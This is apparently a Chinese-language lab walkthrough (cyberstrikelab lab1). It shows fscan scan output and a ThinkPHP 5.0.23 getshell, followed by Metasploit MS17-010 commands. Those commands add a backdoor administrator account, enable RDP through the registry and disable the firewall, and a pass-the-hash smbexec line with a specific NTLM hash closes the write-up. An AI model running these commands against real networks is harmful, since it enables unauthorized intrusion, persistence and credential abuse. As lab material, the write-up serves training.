cyberstrikelab-lab1

信息收集

先用fscan扫描一下发现有thinkphp,直接上工具扫描

thinkphp 5.0.23

直接getshell。拿到一个flag

内网渗透

上传fscan扫扫内网,还有代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
192.168.20.10:135 open

192.168.20.30:88 open

192.168.20.10:3306 open

192.168.20.30:445 open

192.168.20.20:445 open

192.168.20.10:445 open

192.168.20.30:139 open

192.168.20.20:139 open

192.168.20.10:139 open

192.168.20.30:135 open

192.168.20.20:135 open

192.168.20.10:80 open

[*] NetBios 192.168.20.10   WORKGROUP\WIN-KOHRC1DGOL9           Windows Server 2012 R2 Standard 9600

[*] NetInfo 

[*]192.168.20.20

   [->]cyberweb

   [->]192.168.20.20

[+] MS17-010 192.168.20.30    (Windows Server 2008 R2 Standard 7600)

[*] NetInfo 

[*]192.168.20.30

   [->]WIN-7NRTJO59O7N

   [->]192.168.20.30

[+] MS17-010 192.168.20.20    (Windows Server 2012 R2 Standard 9600)

[*] NetBios 192.168.20.20   cyberweb.cyberstrikelab.com         Windows Server 2012 R2 Standard 9600

[*] WebTitle [http://192.168.20.10](http://192.168.20.10/)      code:200 len:25229  title:易优CMS -  Powered by Eyoucms.com

[+] PocScan [http://192.168.20.10](http://192.168.20.10/) poc-yaml-thinkphp5023-method-rce poc1

可以看到内网有一个cms,还有一个ms17010,咱们把代理搭起来看看

ms17_010

拿msf打一下试试

1
2
3
4
5
proxychains4 msfconsole 
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

拿不到shell,那就换一个打法,去执行命令试试

1
2
3
use admin/smb/ms17_010_command
set rhosts 192.168.20.30
set command type c:\\flag.txt

可以直接获取flag。给他开个3389然后连接上去dump下hash,在这之前先添加个后门用户

1
2
3
4
set command net user ocean admin@123 /add
set COMMAND net localgroup Administrators ocean /add
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set COMMAND netsh firewall set opmode disable

这里我登录不上不知道为什么,后来查资料和看别的博客才知道,登录域控要在用户名前加上.\

也算是登录上了,抓一下hash,打个pth直接就完事了,但是没有抓到域管的hash,。所以需要提权去拿hash

1
proxychains4 python3 smbexec.py -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/administrator@192.168.20.20 

拿到shell直接读取flag即可